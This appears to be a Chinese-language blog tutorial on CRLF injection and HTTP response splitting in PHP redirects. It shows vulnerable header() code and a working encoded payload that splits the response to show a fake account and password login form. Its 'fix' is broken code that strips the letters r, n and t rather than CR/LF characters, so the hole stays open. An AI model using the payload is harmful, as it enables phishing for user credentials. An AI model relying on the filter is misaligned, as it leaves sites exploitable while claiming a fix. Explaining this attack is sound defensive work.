其實http響應漏洞就是 CRLF注入攻擊漏洞了,解決辦法相對來講也比較簡單我們只要替換header中的CRLF基本可以解決,當然也可以在apache中httpd.conf,選項ServerTokens = Prod, ServerSignature = Off,php中php.ini,選項expose_php = Off即可。
首先我們分析 360 提供的漏洞頁面地址"/?r=XXXXX"馬上就可以發現問題,? 號碼後面是 r=XXXX 這個 r= 就是問題的所在了,在 PHP 當中這個 GET 形式的請求(在鏈接中直接表現出來的請求)一般都要過濾一些文字防止被入侵,而這個就沒有做這個操作,那麼我們找到了入口,就開始查看代碼吧,在全站中的所有文件中查找 $_GET['r'],如果你知道你的站點是哪個文件出現問題也可以直接去搜索這個文件,單引號中的 r 代表的是鏈接中 ?r= 中的 r,可以根據自己的要求修改。
馬上就發現了問題:
$redirect = $_GET['r'];
圖片中的代碼把 $_GET['r'] 直接給了 $redirect 變量,簡單的說現在 $redirect 就是 $_GET['r'] 了,一般情況下都是要這樣寫的,當然,變量的名稱可能會有變,既然找到了問題出處,那麼我們就只用過濾這個變量的內容就好啦。
PHP
$redirect = trim(str_replace("r","",str_replace("rn","",strip_tags(str_replace("'","",str_replace("n", "", str_replace(" ","",str_replace("t","",trim($redirect))))),""))));
直接復制上面的所有代碼到 $redirect = $_GET['r'];
下面就好啦,現在再次檢查網站就不會出現這個問題了,希望大家看得懂,變量名稱可以根據自己的需要更換哦
HTTP響應拆分攻擊
HTTP響應拆分是由於攻擊者經過精心設計利用電子郵件或者鏈接,讓目標用戶利用一個請求產生兩個響應,前一個響應是服務器的響應,而後一個則是攻擊者設計的響應。此攻擊之所以會發生,是因為WEB程序將使用者的數據置於HTTP響應表頭中,這些使用者的數據是有攻擊者精心設計的。
可能遭受HTTP請求響應拆分的函數包括以下幾個:
header(); setcookie(); session_id(); setrawcookie();
HTTP響應拆分通常發生在:
Location表頭:將使用者的數據寫入重定向的URL地址內
Set-Cookie表頭:將使用者的數據寫入cookies內
實例:
<?php
header("Location: " . $_GET['page']);
?>
請求
GET /location.php?page=http://www.00aq.com HTTP/1.1?
Host: localhost?
?
返回
HTTP/1.1 302 Found
Date: Wed, 13 Jan 2010 03:44:24 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Location: http://www.00aq.com
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
訪問下面的鏈接,會直接出現一個登陸窗口
http://localhost/location.php?page=%0d%0aContent-Type:%20text/html%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%20158%0d%0a%0d%0a<html><body><form%20method=post%20name=form1>帳號%20<input%20type=text%20name=username%20/><br%20/>密碼%20<input%20name=password%20type=password%20/><br%20/><input%20type=submit%20name=login%20value=登錄%20/></form></body></html>
轉換成可讀字符串為:
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 158
<html><body><form method=post name=form1>帳號 <input type=text name=username /><br />密碼 <input name=password type=password /><br /><input type=submit name=login value=登錄 /></form></body></html>
一個HTTP請求產生了兩個響應